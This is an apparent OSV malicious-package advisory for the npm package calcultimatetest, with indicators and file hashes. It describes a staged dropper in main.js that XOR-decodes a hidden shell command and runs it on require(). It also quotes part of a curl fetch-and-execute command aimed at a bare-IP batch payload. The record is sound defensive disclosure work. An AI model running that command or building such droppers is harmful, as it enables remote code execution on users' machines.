{"id":"MAL-2026-20192","summary":"Malicious code in calcultimatetest (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c22f8e10fa4d1483bc6841cfa7a171217dbbfbc9a98d13f405e2061afe053ac8)\nThe package is advertised as a calculator utility but main.js, which runs when the module is required, implements a staged remote-execution dropper. On load it reads a hex 'signature' field from package.json and XOR-decodes it using the key 'theskyisbeautiful' stored in config.json. The decoded string resolves to a shell command of the form 'EXEC_MODE=1; curl -fSL http://65.109.171.171/baseball.bat && cmd /c start /b...' — a bare-IP, plain-HTTP fetch-and-execute of a Windows batch payload. main.js checks whether the decoded string contains 'EXEC_MODE' and then invokes child_process.exec through a random 0–5 second setTimeout. In the currently published version the exec target is swapped to a benign 'echo render-init-ok' string, but the decoder, the gate, the exec wiring, and the attacker-controlled URL are all present and reachable on require(). main.js also rewrites the installed package.json to insert a sha256-derived 'signature' value when none is present, giving the signature-gated payload mechanism a persistence/tamper surface inside the installed artifact. The package otherwise ships only a Mandelbrot busy-loop as cover functionality, with no legitimate use for hex-encoded shell commands, XOR-decoded exec paths, or bare-IP HTTP downloads of.bat files.\n","modified":"2026-11-19T07:15:08.355244158Z","published":"2026-11-19T06:54:11Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-11-19T07:12:43.221568649Z","modified_time":"2026-11-19T06:54:11Z","sha256":"c22f8e10fa4d1483bc6841cfa7a171217dbbfbc9a98d13f405e2061afe053ac8","source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-022870"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/calcultimatetest/v/1.0.0"}],"affected":[{"package":{"name":"calcultimatetest","ecosystem":"npm","purl":"pkg:npm/calcultimatetest"},"versions":["1.0.0"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/calcultimatetest/MAL-2026-20192.json","indicators":{"package_integrity":[{"filename":"calcultimatetest-1.0.0.tgz","hashes":{"sha1":"fdf98b2766302b0aad59fc74123cd21ee773b036","sha512_sri":"sha512-q6W48wL0yq4pUQATj8Pnrzdr2Png2/9xigJqos2aGOTiOxl8A+T6tixrulYm68cYII0XWhpBc1JEnkKOL3BDoA=="}}],"evidence_files":[{"sha256":"74888a760d409db196e2f57f689d38fb2479ff10743db19433c8f3079f0f8708","tlsh":"58f00278ce115ca309c94e632c00920a123158cb032cb5082316031e975e16659fe10d","path":"package.json"},{"sha256":"13f8c581c9f509d90db8b86fd9dd37a6a994a7f36efc2ed6ecda78f7f67a8b85","tlsh":"7541f0ca29f734204357687a4b8b910a6746a5033109dd58be4dc3cd7f96128cae37ea","path":"main.js"}]}}}],"schema_version":"1.9.2","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}